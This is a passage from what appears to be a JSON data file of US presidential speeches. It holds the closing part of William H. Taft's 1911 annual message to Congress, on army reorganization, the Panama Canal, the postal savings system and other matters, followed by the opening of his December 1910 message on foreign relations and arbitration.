opportunity. Both the\nNational system and the State system should be fairly recognized, leaving\nthem eventually to coalesce if that shall prove to be their tendency. But\nsuch evolution can not develop impartially if the banks of one system are\ngiven or permitted any advantages of opportunity over those of the other\nsystem. And I trust also that the new legislation will carefully and\ncompletely protect and assure the individuality and the independence of\neach bank, to the end that any tendency there may ever be toward a\nconsolidation of the money or banking power of the Nation shall be\ndefeated.It will always be possible, of course, to correct any features of the new\nlaw which may in practice prove to be unwise; so that while this law is\nsure to be enacted under conditions of unusual knowledge and authority, it\nalso will include, it is well to remember, the possibility of future\namendment.With the present prospects of this long-awaited reform encouraging us, it\nwould be singularly unfortunate if this monetary question should by any\nchance become a party issue. And I sincerely hope it will not. The\nexceeding amount of consideration it has received from the people of the\nNation has been wholly nonpartisan; and the Congress set its nonpartisan\nseal upon it when the Monetary Commission was appointed. In commending the\nquestion to the favorable consideration of Congress, I speak for, and in\nthe spirit of, the great number of my fellow citizens who without any\nthought of party or partisanship feel with remarkable earnestness that this\nreform is necessary to the interests of all the people.THE WAR DEPARTMENT.There is now before Congress a Dill, the purpose of which is to increase\nthe efficiency and decrease the expense of the Army. It contains four\nprincipal features: First, a consolidation of the General Staff with the\nAdjutant General's and the Inspector General's Departments; second, a\nconsolidation of the Quartermaster's Department with the Subsistence and\nthe Pay Departments; third, the creation of an Army Service Corps; and\nfourth, an extension of the enlistment period from three to five years.With the establishment of an Army Service Corps, as proposed in the bill, I\nam thoroughly in accord and am convinced that the establishment of such a\ncorps will result in a material economy and a very great increase of\nefficiency in the Army. It has repeatedly been recommended by me and my\npredecessors. I also believe that a consolidation of the Staff Corps can be\nmade with a resulting increase in efficiency and economy, but not along the\nlines provided in the bill under consideration.I am opposed to any plan the result of which would be to break up or\ninterfere with the essential principles of the detail system in the Staff\nCorps established by the act of February 2, 1901, and I am opposed to any\nplan the result of which would be to give to the officer selected as Chief\nof Staff or to any other member of the General Staff Corps greater\npermanency of office than he now has. Under the existing law neither the\nChief. of Staff nor any other member of the General Staff Corps can remain\nin office for a period of more than four years, and there must be an\ninterval of two years between successive tours of duty.The bill referred to provides that certain persons shall become permanent\nmembers of the General Staff Corps, and that certain others are subject to\nre-detail without an interval of two years. Such provision is fraught with\ndanger to the welfare of the Army, and would practically nullify the main\npurpose of the law creating the [missing text].In making the consolidations no reduction should be made in the total\nnumber of officers of the Army, of whom there are now too few to perform\nthe duties imposed by law. I have in the past recommended an increase in\nthe number of officers by 600 in order to provide sufficient officers to\nperform all classes of staff duty and to reduce the number of line officers\ndetached from their commands. Congress at the last session increased the\ntotal number of officers by 200, but this is not enough. Promotion in the\nline of the Army is too slow. Officers do not attain command rank at an age\nearly enough properly to exercise it. It would be a mistake further to\nretard this already slow promotion by throwing back into the line of the\nArm a number of high-ranking officers to be absorbed as is provided in the\n[missing text].Another feature of the bill which I believe to be a mistake is the proposed\nincrease in the term of enlistment from three to five ears I believe it\nwould be better to enlist men for six years, release them at the end of\nthree years from active service, and put them in reserve for the remaining\nthree years. Reenlistments should be largely confined to the\nnoncommissioned officers and other enlisted men in the skilled grades. This\nplan by the payment of a comparatively small compensation during the three\nyears of reserve, would keep a large body of men at the call of the\nGovernment, trained and ready for [missing text].The Army of the United States is in good condition. It showed itself able\nto meet an emergency in the successful mobilization of an army division of\nfrom 15,000 to 20,000 men, which took place along the border of Mexico\nduring the recent disturbances in that country. The marvelous freedom from\nthe ordinary camp diseases of typhoid fever and measles is referred to in\nthe report of the Secretary of War and shows such an effectiveness in the\nsanitary regulations and treatment of the Medical Corps, and in the\ndiscipline of the Army itself, as to invoke the highest commendation.MEMORIAL AMPHITHEATER AT ARLINGTON.I beg to renew my recommendation of last year that the Congress appropriate\nfor a memorial amphitheater at Arlington, Va., the funds required to\nconstruct it upon the plans already approved.THE PANAMA CANAL.The very satisfactory progress made on the Panama Canal last year has\ncontinued, and there is every reason to believe that the canal\nwill be completed as early as the 1st of July, 1913, unless something\nunforeseen occurs. This is about 18 months before the time promised by the\nengineers.We are now near enough the completion of the canal to make it imperatively\nnecessary that legislation should be enacted to fix the method by which the\ncanal shall be maintained and controlled and the zone governed. The fact is\nthat to-day there is no statutory law by authority of which the President\nis maintaining the government of the zone. Such authority was given in an\namendment to the Spooner Act, which expired by the terms of its own\nlimitation some years ago. Since that time the government has continued,\nunder the advice of the Attorney General that in the absence of action by\nCongress, there is necessarily an implied authority on the part of the\nExecutive to maintain a government in a territory in which he has to see\nthat the laws are executed. The fact that we have been able thus to get\nalong during the important days of construction without legislation\nexpressly formulating the government of the zone, or delegating the\ncreation of it to the President, is not a reason for supposing that we may\ncontinue the same kind of a government after the construction is finished.\nThe implied authority of the President to maintain a civil government in\nthe zone may be derived from the mandatory direction given him in the\noriginal Spooner Act, by which he was commanded to build the canal; but\ncertainly, now that the canal is about to be completed and to be put under\na permanent management, there ought to be specific statutory authority for\nits regulation and control and for the government of the zone, which we\nhold for the chief and main purpose of operating the canal.I fully concur with the Secretary of War that the problem is simply the\nmanagement of a great public work, and not the government of a local\nrepublic; that every provision must be directed toward the successful\nmaintenance of the canal as an avenue of commerce, and that all provisions\nfor the government of those who live within the zone should be subordinate\nto the main purpose.The zone is 40 miles long and 10 miles wide. Now, it has a population Of\n50,000 or 60,000, but as soon as the work of construction is completed, the\ntowns which make up this population will be deserted, and only\ncomparatively few natives will continue their residence there. The control\nof them ought to approximate a military government. One judge and two\njustices of the peace will be sufficient to attend to all the judicial and\nlitigated business there is. With a few fundamental laws of Congress, the\nzone should be governed by the orders of the President, issued through the\nWar Department, as it is today. Provisions can be made for the guaranties\nof life, liberty, and property, but beyond those, the government should be\nthat of a military reservation, managed in connection with this great\nhighway of trade.FURNISHING SUPPLIES AND REPAIRS.In my last annual message I discussed at length the reasons for the\nGovernment's assuming the task of furnishing to all ships that use the\ncanal, whether our own naval vessels or others, the supplies of coal and\noil and other necessities with which they must be replenished either before\nor after passing through the canal, together with the dock facilities and\nrepairs of every character. This it is thought wise to do through the\nGovernment, because the Government must establish for itself, for its own\nnaval vessels, large depots and dry docks and warehouses, and these may\neasily be enlarged so as to secure to the world public using the canal\nreasonable prices and a certainty that there will be no discrimination\nbetween those who wish to avail themselves of such facilities. TOLLS.I renew my recommendation with respect to the tolls of the canal that\nwithin limits, which shall seem wise to Congress, the power of fixing tolls\nbe given to the President. In order to arrive at a proper conclusion, there\nmust be some experimenting, and this can not be done if Congress does not\ndelegate the power to one who can act expeditiously.POWER EXISTS TO RELIEVE AMERICAN SHIPPING.I am very confident that the United States has the power to relieve from\nthe payment of tolls any part of our shipping that Congress deems wise. We\nown the canal. It was our money that built it. We have the right to charge\ntolls for its use. Those tolls must be the same to everyone; but when we\nare dealing with our own ships, the practice of many Governments of\nsubsidizing their own merchant vessels is so well established in general\nthat a subsidy equal to the tolls, an equivalent remission of tolls, can\nnot be held to be a discrimination in the use of the canal. The practice in\nthe Suez Canal makes this clear. The experiment in tolls to be made by the\nPresident would doubtless disclose how great a burden of tolls the\ncoastwise trade between the Atlantic and the Pacific coast could bear\nwithout preventing its usefulness in competition with the transcontinental\nrailroads. One of the chief reasons for building the canal was to set up\nthis competition and to bring the two shores closer together as a practical\ntrade problem. It may be that the tolls will have to be wholly remitted. I\ndo not think this is the best principle, because I believe that the cost of\nsuch a Government work as the Panama Canal ought to be imposed gradually\nbut certainly upon the trade which it creates and makes possible. So far as\nwe can, consistent with the development of the world's trade through the\ncanal, and the benefit which it was intended to secure to the east and west\ncoastwise trade, we ought to labor to secure from the canal tolls a\nsufficient amount ultimately to meet the debt which we have assumed and to\npay the interest.THE PHILIPPINE ISLANDS.In respect to the Philippines, I urgently join in the recommendation of the\nSecretary of War that the act of February 6, 1905, limiting the\nindebtedness that may be incurred by the Philippine Government for the\nconstruction of public works, be increased from $5,000,000 to $15,000,000.\nThe finances of that Government are in excellent condition. The maximum sum\nmentioned is quite low as compared with the amount of indebtedness of other\ngovernments with similar resources, and the success which has attended the\nexpenditure of the $5,000,000 in the useful improvements of the harbors and\nother places in the Islands justifies and requires additional expenditures\nfor like purposes. NATURALIZATION.I also join in the recommendation that the legislature of the Philippine\nIslands be authorized to provide for the naturalization of Filipinos and\nothers who by the present law are treated as aliens, so as to enable them\nto become citizens of the Philippine Islands.FRIARS' LANDS.Pending an investigation by Congress at its last session, through one of\nits committees, into the disposition of the friars' lands, Secretary\nDickinson directed that the friars' lands should not be sold in excess of\nthe limits fixed for the public lands until Congress should pass upon the\nsubject or should have concluded its investigation. This order has been an\nobstruction to the disposition of the lands, and I expect to direct the\nSecretary of War to return to the practice under the opinion of the\nAttorney General which will enable us to dispose of the lands much more\npromptly, and to prepare a sinking fund with which to meet the $7,000,000\nof bonds issued for the purchase of the lands. I have no doubt whatever\nthat the Attorney General's construction was a proper one, and that it is\nin the interest of everyone that the land shall be promptly disposed of.\nThe danger of creating a monopoly of ownership in lands under the statutes\nas construed is nothing. There are only two tracts of 60,000 acres each\nunimproved and in remote Provinces that are likely to be disposed of in\nbulk, and the rest of the lands are subject to the limitation that they\nshall be first offered to the present tenants and lessors who hold them in\nsmall tracts.RIVERS AND HARBORS.The estimates for the river and harbor improvements reach $32,000,000 for\nthe coming year. I wish to urge that whenever a project has been adopted by\nCongress as one to be completed, the more money which can be economically\nexpended in its construction in each year, the greater the ultimate\neconomy. This has especial application to the improvement of the\nMississippi River and its large branches. It seems to me that an increase\nin the amount of money now being annually expended in the improvement of\nthe Ohio River which has been formally adopted by Congress would be in the\ninterest of the public. A similar change ought to be made during the\npresent Congress, in the amount to be appropriated for the Missouri River.\nThe engineers say that the cost of the improvement of the Missouri River\nfrom Kansas City to St. Louis, in order to secure 6 feet as a permanent\nchannel, will reach $20,000,000. There have been at least three\nrecommendations from the Chief of Engineers that if the improvement be\nadopted, $2,000,000 should be expended upon it annually. This particular\nimprovement is especially entitled to the attention of Congress, because a\ncompany has been organized in Kansas City, with a capital of $1,000,000,\nwhich has built steamers and barges, and is actually using the river for\ntransportation in order to show what can be done in the way of affecting\nrates between Kansas City and St. Louis, and in order to manifest their\ngood faith and confidence in respect of the improvement. I urgently\nrecommend that the appropriation for this improvement be increased from\n$600,000, as recommended now in the completion of a contract, to $2,000,000\nannually, so that the work may be done in 10 years.WATERWAY FROM THE LAKES TO THE GULF.The project for a navigable waterway from Lake Michigan to the mouth of the\nIllinois River, and thence via the Mississippi to the Gulf of Mexico, is\none of national importance. In view of the work already accomplished by the\nSanitary District of Chicago, an agency of the State of Illinois, which has\nconstructed the most difficult and costly stretch of this waterway and made\nit an asset of the Nation, and in view of the fact that the people of\nIllinois have authorized the expenditure Of $20,000,000 to carry this\nwaterway 62 miles farther to Utica, I feel that it is fitting that this\nwork should be supplemented by the Government, and that the expenditures\nrecommended by the special board of engineers on the waterway from Utica to\nthe mouth of the Illinois River be made upon lines which while providing a\nwaterway for the Nation should otherwise benefit that State to the fullest\nextent. I recommend that the term of service of said special board of\nengineers be continued, and that it be empowered to reopen the question of\nthe treatment of the lower Illinois River, and to negotiate with a properly\nconstituted commission representing the State of Illinois, and to agree\nupon a plan for the improvement of the lower Illinois River and upon the\nextent to which the United States may properly cooperate with the State of\nIllinois in securing the construction of a navigable waterway from Lockport\nto the mouth of the Illinois River in conjunction with the development of\nwater power by that State between Lockport and Utica.THE DEPARTMENT OF JUSTICE.Removal of clerks of Federal courts.The report of the Attorney General shows that he has subjected to close\nexamination the accounts of the clerks of the Federal courts; that he has\nfound a good many which disclose irregularities or dishonesty; but that he\nhas had considerable difficulty in securing an effective prosecution or\nremoval of the clerks thus derelict. I am certainly not unduly prejudiced\nagainst the Federal courts, but the fact is that the long and confidential\nrelations which grow out of the tenure for life on the part of the judge\nand the practical tenure for life on the part of the clerk are not\ncalculated to secure the strictness of dealing by the judge with the clerk\nin respect to his fees and accounts which assures in the clerk's conduct a\nfreedom from overcharges and carelessness. The relationship between the\njudge and the clerk makes it ungracious for members of the bar to complain\nof the clerk or for department examiners to make charges against him to be\nheard by the court, and an order of removal of a clerk and a judgment for\nthe recovery of fees are in some cases reluctantly entered by the judge.\nFor this reason I recommend an amendment to the law whereby the President\nshall be given power to remove the clerks for cause. This provision need\nnot interfere with the right of the judge to appoint his clerk or to remove\nhim.French spoliation awards.In my last message, I recommended to Congress that it authorize the payment\nof the findings or judgments of the Court of Claims in the matter of the\nFrench spoliation cases. There has been no appropriation to pay these\njudgments since 1905. The findings and awards were obtained after a very\nbitter fight, the Government succeeding in about 75 per cent of the cases.\nThe amount of the awards ought, as a matter of good faith on the part of\nthe Government, to be paid.EMPLOYERS' LIABILITY AND WORKMEN'S COMPENSATION COMMISSION.The limitation of the liability of the master to his servant for personal\ninjuries to such as are occasioned by his fault has been abandoned in most\ncivilized countries and provision made whereby the employee injured in the\ncourse of his employment is compensated for his loss of working ability\nirrespective of negligence. The principle upon which such provision\nproceeds is that accidental injuries to workmen in modern industry, with\nits vast complexity and inherent dangers arising from complicated machinery\nand the use of the great forces of steam and electricity, should be\nregarded as risks of the industry and the loss borne in some equitable\nproportion by those who for their own profit engage therein. In recognition\nof this the last Congress authorized the appointment of a commission to\ninvestigate the subject of employers' liability and workmen's compensation\nand to report the result of their investigations, through the President, to\nCongress. This commission was appointed and has been at work, holding\nhearings, gathering data, and considering the subject, and it is expected\nwill be able to report by the first of the year, in accordance with the\nprovisions of the law. It is hoped and expected that the commission will\nsuggest legislation which will enable us to put in the place of the present\nwasteful and sometimes unjust system of employers' liability a plan of\ncompensation which will afford some certain and definite relief to all\nemployees who are injured in the course of their employment in those\nindustries which are subject to the regulating power of Congress.MEASURES TO PREVENT DELAY AND UNNECESSARY COST OF LITIGATION.In promotion of the movement for the prevention of delay and unnecessary\ncost, in litigation, I am glad to say that the Supreme Court has taken\nsteps to reform the present equity rules of the Federal courts, and that we\nmay in the near future expect a revision of them which will be a long step\nin the right direction.The American Bar Association has recommended to Congress several bills\nexpediting procedure, one of which has already passed the House\nunanimously, February 6, 1911. This directs that no judgment should be set\naside or reversed, or new trial granted, unless it appears to the court,\nafter an examination of the entire cause, that the error complained of has\ninjuriously affected the substantial rights of the parties, and also\nprovides for the submission of issues of fact to a jury, reserving\nquestions of law for subsequent argument and decision. I hope this bill\nwill pass the Senate and become law, for it will simplify the procedure at\nlaw.Another bill 11 to amend chapter II of the judicial Code, in order to\navoid errors in pleading, was presented by the same association, and one.\nenlarging the jurisdiction of the Supreme Court so as to permit that court\nto examine, upon a writ of error, all cases in which any right or title is\nclaimed under the Constitution, or any statute or treaty of the United\nStates, whether the decision in the court below has been against the right\nor title or in its favor. Both these measures are in the interest of\njustice and should be passed.POST OFFICE.At the beginning of the present administration in 1909 the postal service\nwas in arrears to the extent Of $17,479,770.47. It was very much the\nlargest deficit on record. In the brief space of two years this has been\nturned into a surplus Of $220,000, which has been accomplished without\ncurtailment of the postal facilities, as may be seen by the fact that there\nhave been established 3,744 new post offices; delivery by carrier has been\nadded to the service in 186 cities; 2,516 new rural routes have been\nestablished, covering 60,000 miles; the force of postal employees has been\nincreased in these two years by more than 8,000, and their average annual\nsalary has had a substantial increase.POSTAL-SAVINGS SYSTEM.On January 3, 1911, postal-savings depositories were established\nexperimentally in 48 States and Territories. After three months' successful\noperation the system was extended as rapidly as feasible to the 7,500 Post\noffices of the first, second, and third classes constituting the\npresidential grade. By the end of the year practically all of these will\nhave been designated and then the system will be extended to all\nfourth-class post offices doing a money-order business.In selecting post offices for depositories consideration was given to the\nefficiency of the postmasters and only those offices where the ratings were\nsatisfactory to the department have been designated. Withholding\ndesignation from postmasters with unsatisfactory ratings has had a salutary\neffect on the service.The deposits have kept pace with the extension of the system. Amounting to\nonly $60,652 at the end of the first month's operation in the experimental\noffices, they increased to $679,310 by July, and now after 11 months of\noperation have reached a total of $11,000,000. This sum is distributed\namong 2,710 banks and protected tinder the law by bonds deposited with the\nTreasurer of the United States.Under the method adopted for the conduct of the system certificates are\nissued as evidence of deposits, and accounts with depositors are kept by\nthe post offices instead of by the department. Compared with the practice\nin other countries of entering deposits in pass books and keeping at the\ncentral office a ledger account with each depositor, the use of the\ncertificate has resulted in great economy of administration.The depositors thus far number approximately 150,000. They include 40\nnationalities, native Americans largely predominating and English and\nItalians coming next.The first conversion of deposits into United States bonds bearing interest\nat the rate of 2.5 per cent occurred on July 1, 1911, the amount of\ndeposits exchanged being $41,900, or a little more than 6 per cent of the\ntotal outstanding certificates of deposit on June 30. Of this issue, bonds\nto the value of $6,120 were in coupon form and $35,780 in registered form.PARCEL POST.Steps should be taken immediately for the establishment of a rural parcel\npost. In the estimates of appropriations needed for the maintenance of the\npostal service for the ensuing fiscal year an item of $150,000 has been\ninserted to cover the preliminary expense of establishing a parcel post on\nrural mail routes, as well as to cover an investigation having for its\nobject the final establishment of a general parcel post on all railway and\nsteamboat transportation routes. The department believes that after the\ninitial expenses of establishing the system are defrayed and the parcel\npost is in full operation on the rural routes it will not only bring in\nsufficient revenue to meet its cost, but also a surplus that can be\nutilized in paying the expenses of a parcel post in the City Delivery\nService.It is hoped that Congress will authorize the immediate establishment of a\nlimited parcel post on such rural routes as may be selected, providing for\nthe delivery along the routes of parcels not exceeding eleven pounds, which\nis the weight limit for the international parcel post, or at the post\noffice from which such route emanates, or on another route emanating from\nthe same office. Such preliminary service will prepare the way for the more\nthorough and comprehensive inquiry contemplated in asking for the\nappropriation mentioned, enable the department to gain definite information\nconcerning the practical operation of a general system, and at the same\ntime extend the benefit of the service to a class of people who, above all\nothers, are specially in need of it.The suggestion that we have a general parcel post has awakened great\nopposition on the part of some who think that it will have the effect to\ndestroy the business of the country storekeeper. Instead of doing this, I\nthink the change will greatly increase business for the benefit of all. The\nreduction in the cost of living it will bring about ought to make its\ncoming certain.THE NAVY DEPARTMENT.On the 2d of November last, I reviewed the fighting fleet of battleships\nand other vessels assembled in New York Harbor, consisting of 24\nbattleships, 2 armored cruisers, 2 cruisers, 22 destroyers, 12 torpedo\nboats, 8 submarines, and other attendant vessels, making 98 vessels of all\nclasses, of a tonnage Of 576,634 tons. Those who saw the fleet were struck\nwith its preparedness and with its high military efficiency. All Americans\nshould be proud of its personnel.The fleet was deficient in the number of torpedo destroyers, in cruisers,\nand in colliers, as well as in large battleship cruisers, which are now\nbecoming a very important feature of foreign navies, notably the British,\nGerman, and Japanese.The building plan for this year contemplates two battleships and two\ncolliers. This is because the other and smaller vessels can be built much\nmore rapidly in case of emergency than the battleships, and we certainly\nought to continue the policy of two battleships a year until after the\nPanama Canal is finished and until in our first line and in our reserve\nline we can number 40 available vessels of proper armament and size.The reorganization of the Navy and the appointment of four aids to the\nSecretary have continued to demonstrate their usefulness. It would be\ndifficult now to administer the affairs of the Navy without the expert\ncounsel and advice of these aids, and I renew the recommendation which I\nmade last year, that the aids be recognized by statute.It is certain that the Navy, with its present size, should have admirals in\nactive command higher than rear admirals. The recognized grades in order\nare: Admiral of the fleet, admiral, vice admiral, and rear admiral. Our\ngreat battleship fleet is commanded by a rear admiral, with four other rear\nadmirals under his orders. This is not as it should be, and when questions\nof precedence arise between our naval officers and those of European\nnavies, the American rear admiral, though in command of ten times the force\nof a foreign vice admiral, must yield precedence to the latter. Such an\nabsurdity ought not to prevail, and it can be avoided by the creation of\ntwo or three positions of flag rank above that of rear admiral.I attended the opening of the new training school at North Chicago, Ill.,\nand am glad to note the opportunity which this gives for drawing upon young\nmen of the country from the interior, from farms, stores, shops, and\noffices, which insures a high average of intelligence and character among\nthem, and which they showed in the very wonderful improvement in discipline\nand drill which only a few short weeks' presence at the naval station had\nmade.I invite your attention to the consideration of the new system of detention\nand of punishment for Army and Navy enlisted men which has obtained in\nGreat Britain, and which has made greatly for the better control of the.\nmen. We should adopt a similar system here.Like the Treasury Department and the War Department, the Navy Department\nhas given much attention to economy in administration, and has cut down a\nnumber of unnecessary expenses and reduced its estimates except for\nconstruction and the increase that that involves.I urge upon Congress the necessity for an immediate increase of 2,000 men\nin the enlisted strength of the Navy, provided for in the estimates. Four\nthousand more are now needed to man all the available vessels.There are in the service to-day about 47,750 enlisted men of all ratings.Careful computation shows that in April, 1912, 49,166 men will be required\nfor vessels in commission, and 3,000 apprentice seamen should be kept under\ntraining at all times.ABOLITION OF NAVY YARDS.The Secretary of the Navy has recommended the abolition of certain of the\nsmaller and unnecessary navy yards, and in order to furnish a complete and\ncomprehensive report has referred the question of all navy yards to the\njoint board of the Army and Navy. This board will shortly make its report\nand the Secretary of the Navy advises me that his recommendations on the\nsubject will be presented early in the coming year. The measure of economy\ncontained in a proper handling of this subject is so great and so important\nto the interests of the Nation that I shall present it to Congress as a\nseparate subject apart from my annual message. Concentration of the\nnecessary work for naval vessels in a few navy yards on each coast is a\nvital necessity if proper economy in Government expenditures is to be\nattained.AMALGAMATION OF STAFF CORPS IN THE NAVY.The Secretary of the Navy is striving to unify the various corps of the\nNavy to the extent possible and thereby stimulate a Navy spirit as\ndistinguished from a corps spirit. In this he has my warm support.All officers are to be naval officers first and specialists afterwards.\nThis means that officers will take up at least one specialty, such as\nordnance, construction, or engineering. This is practically what is done\nnow, only some of the specialists, like the pay officers and naval\nconstructors, are not of the line. It is proposed to make them all of the\nline.All combatant corps should obviously be of the line. This necessitates\namalgamating the pay officers and also those engaged in the technical work\nof producing the finished ship. This is at present the case with the single\nexception of the naval constructors, whom it is now proposed to amalgamate\nwith the line.COUNCIL OF NATIONAL DEFENSE.I urge again upon Congress the desirability of establishing the council of\nnational defense. The bill to establish this council was before Congress\nlast winter, and it is hoped that this legislation will pass during the\npresent session. The purpose of the council is to determine the general\npolicy of national defense and to recommend to Congress and to the\nPresident such measures relating to it as it shall deem necessary and\nexpedient.No such machinery is now provided by which the readiness of the Army and\nNavy may be improved and the programs of military and naval requirements\nshall be coordinated and properly scrutinized with a view of the\nnecessities of the whole Nation rather than of separate departments.DEPARTMENTS OF AGRICULTURE AND COMMERCE AND LABOR.For the consideration of matters which are pending or have been disposed of\nin the Agricultural Department and in the Department of Commerce and Labor,\nI refer to the very excellent reports of the Secretaries of those\ndepartments. I shall not be able to submit to Congress until after the\nChristmas holidays the question of conservation of our resources arising in\nAlaska and the West and the question of the rate for second-class mail\nmatter in the Post Office Department.COMMISSION ON EFFICIENCY AND ECONOMY.The law does not require the submission of the reports of the Commission on\nEconomy and Efficiency until the 31st of December. I shall therefore not be\nable to submit a report of the work of that commission until the assembling\nof Congress after the holidays.CIVIL RETIREMENT AND CONTRIBUTORY PENSION SYSTEM.I have already advocated, in my last annual message, the adoption of a\ncivil-service retirement system, with a contributory feature to it so as to\nreduce to a minimum the cost to the Government of the pensions to be paid.\nAfter considerable reflection, I am very much opposed to a pension system\nthat involves no contribution from the employees. I think the experience of\nother governments justifies this view; but the crying necessity for some\nsuch contributory system, with possibly a preliminary governmental outlay,\nin order to cover the initial cost and to set the system going at once\nwhile the contributions are accumulating, is manifest on every side.\nNothing will so much promote the economy and efficiency of the Government\nas such a system.ELIMINATION OF ALL LOCAL OFFICES FROM POLITICS.I wish to renew again my recommendation that all the local offices\nthroughout the country, including collectors of internal revenue,\ncollectors of customs, postmasters of all four classes, immigration\ncommissioners and marshals, should be by law covered into the classified\nservice, the necessity for confirmation by the Senate be removed, and the\nPresident and the others, whose time is now taken up in distributing this\npatronage under the custom that has prevailed since the beginning of the\nGovernment in accordance with the recommendation of the Senators and\nCongressmen of the majority party, should be relieved from this burden. I\nam confident that such a change would greatly reduce the cost of\nadministering the Government, and that it would add greatly to its\nefficiency. It would take away the power to use the patronage of the\nGovernment for political purposes. When officers are recommended by\nSenators and Congressmen from political motives and for political services\nrendered, it is impossible to expect that while in office the appointees\nwill not regard their tenure as more or less dependent upon continued\npolitical service for their patrons, and no regulations, however stiff or\nrigid, will prevent this, because such regulations, in view of the method\nand motive for selection, are plainly inconsistent and deemed hardly worthy\nof respect.", 
+    "name": "William H. Taft"
+}
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+{
+    "date": "December 6, 1910", 
+    "speech": "To the Senate and House of Representatives:During the past year the foreign relations of the United States have\ncontinued upon a basis of friendship and good understanding. ARBITRATION.The year has been notable as witnessing the pacific settlement of two\nimportant international controversies before the Permanent Court of The\nHague.The arbitration of the Fisheries dispute between the United States and\nGreat Britain, which has been the source of nearly continuous diplomatic\ncorrespondence since the Fisheries Convention of 1818, has given an award\nwhich is satisfactory to both parties. This arbitration is particularly\nnoteworthy not only because of the eminently just results secured, but also\nbecause it is the first arbitration held under the general arbitration\ntreaty of April 4, 1908, between the United States and Great Britain, and\ndisposes of a controversy the settlement of which has resisted every other\nresource of diplomacy, and which for nearly ninety years has been the cause\nof friction between two countries whose common interest lies in maintaining\nthe most friendly and cordial relations with each other.The United States was ably represented before the tribunal. The complicated\nhistory of the questions arising made the issue depend, more than\nordinarily in such cases, upon the care and skill with which our case was\npresented, and I should be wanting in proper recognition of a great\npatriotic service if I did not refer to the lucid historical analysis of\nthe facts and the signal ability and force of the argument--six days in\nlength--presented to the Court in support of our case by Mr. Elihu Root. As\nSecretary of State, Mr. Root had given close study to the intricate facts\nbearing on the controversy, and by diplomatic correspondence had helped to\nframe the issues. At the solicitation of the Secretary of State and myself,\nMr. Root, though burdened by his duties as Senator from New York, undertook\nthe preparation of the case as leading counsel, with the condition imposed\nby himself that, in view of his position as Senator, he should not receive\nany compensation.The Tribunal constituted at The Hague by the Governments of the United\nStates and Venezuela has completed its deliberations and has rendered an\naward in the case of the Orinoco Steamship Company against Venezuela. The\naward may be regarded as satisfactory since it has, pursuant to the\ncontentions of the United States, recognized a number of important\nprinciples making for a judicial attitude in the determining of\ninternational disputes.In view of grave doubts which had been raised as to the constitutionality\nof The Hague Convention for the establishment of an International Prize\nCourt, now before the Senate for ratification, because of that provision of\nthe Convention which provides that there may be an appeal to the proposed\nCourt from the decisions of national courts, this government proposed in an\nIdentic Circular Note addressed to those Powers who had taken part in the\nLondon Maritime Conference, that the powers signatory to the Convention, if\nconfronted with such difficulty, might insert a reservation to the effect\nthat appeals to the International Prize Court in respect to decisions of\nits national tribunals, should take the form of a direct claim for\ncompensation; that the proceedings thereupon to be taken should be in the\nform of a trial de novo, and that judgment of the Court should consist of\ncompensation for the illegal capture, irrespective of the decision of the\nnational court whose judgment had thus been internationally involved. As\nthe result of an informal discussion it was decided to provide such\nprocedure by means of a separate protocol which should be ratified at the\nsame time as the Prize Court Convention itself.Accordingly, the Government of the Netherlands, at the request of this\nGovernment, proposed under date of May 24, 1910, to the powers signatory to\nThe Hague Convention, the negotiation of a supplemental protocol embodying\nstipulations providing for this alternative procedure. It is gratifying to\nobserve that this additional protocol is being signed without objection, by\nthe powers signatory to the original convention, and there is every reason\nto believe that the International Prize Court will be soon established.The Identic Circular Note also proposed that the International Prize Court\nwhen established should be endowed with the functions of an Arbitral Court\nof Justice under and pursuant to the recommendation adopted by the last\nHague Conference. The replies received from the various powers to this\nproposal inspire the hope that this also may be accomplished within the\nreasonably near future.It is believed that the establishment of these two tribunals will go a long\nway toward securing the arbitration of many questions which have heretofore\nthreatened and, at times, destroyed the peace of nations.PEACE COMMISSION.Appreciating these enlightened tendencies of modern times, the Congress at\nits last session passed a law providing for the appointment of a commission\nof five members \"to be appointed by the President of the United States to\nconsider the expediency of utilizing existing international agencies for\nthe purpose of limiting the armaments of the nations of the world by\ninternational agreement, and of constituting the combined navies of the\nworld an international force for the preservation of universal peace, and\nto consider and report upon any other means to diminish the expenditures of\ngovernment for military purposes and to lessen the probabilities of war.\"I have not as yet made appointments to this Commission because I have\ninvited and am awaiting the expressions of foreign governments as to their\nwillingness to cooperate with us in the appointment of similar commissions\nor representatives who would meet with our commissioners and by joint\naction seek to make their work effective.GREAT BRITAIN AND CANADA.Several important treaties have been negotiated with Great Britain in the\npast twelve months. A preliminary diplomatic agreement has been reached\nregarding the arbitration of pecuniary claims which each Government has\nagainst the other. This agreement, with the schedules of claims annexed,\nwill, as soon as the schedules are arranged, be submitted to the Senate for\napproval.An agreement between the United States and Great Britain with regard to the\nlocation of the international boundary line between the United States and\nCanada in Passamaquoddy Bay and to the middle of Grand Manan Channel was\nreached in a Treaty concluded May 21, 1910, which has been ratified by both\nGovernments and proclaimed, thus making unnecessary the arbitration\nprovided for in the previous treaty of April 11, 1908.The Convention concluded January 11, 1909, between the United States and\nGreat Britain providing for the settlement of international differences\nbetween the United States and Canada including the apportionment between\nthe two countries of certain of the boundary waters and the appointment of\nCommissioners to adjust certain other questions has been ratified by both\nGovernments and proclaimed.The work of the International Fisheries Commission appointed in 1908, under\nthe treaty of April 11, 1908, between Great Britain and the United States,\nhas resulted in the formulation and recommendation of uniform regulations\ngoverning the fisheries of the boundary waters of Canada and the United\nStates for the purpose of protecting and increasing the supply of food fish\nin such waters. In completion of this work, the regulations agreed upon\nrequire congressional legislation to make them effective and for their\nenforcement in fulfillment of the treaty stipulations. PORTUGAL.In October last the monarchy in Portugal was overthrown, a provisional\nRepublic was proclaimed, and there was set up a de facto Government which\nwas promptly recognized by the Government of the United States for purposes\nof ordinary intercourse pending formal recognition by this and other Powers\nof the Governmental entity to be duly established by the national\nsovereignty. LIBERIA.A disturbance among the native tribes of Liberia in a portion of the\nRepublic during the early part of this year resulted in the sending, under\nthe Treaty of 1862, of an American vessel of war to the disaffected\ndistrict, and the Liberian authorities, assisted by the good offices of the\nAmerican Naval Officers, were able to restore order. The negotiations which\nhave been undertaken for the amelioration of the conditions found in\nLiberia by the American Commission, whose report I transmitted to Congress\non March 25 last, are being brought to conclusion, and it is thought that\nwithin a short time practical measures of relief may be put into effect\nthrough the good offices of this Government and the cordial cooperation of\nother governments interested in Liberia's welfare.THE NEAR EAST. TURKEY.To return the visit of the Special Embassy announcing the accession of His\nMajesty Mehemet V, Emperor of the Ottomans, I sent to Constantinople a\nSpecial Ambassador who, in addition to this mission of ceremony, was\ncharged with the duty of expressing to the Ottoman Government the value\nattached by the Government of the 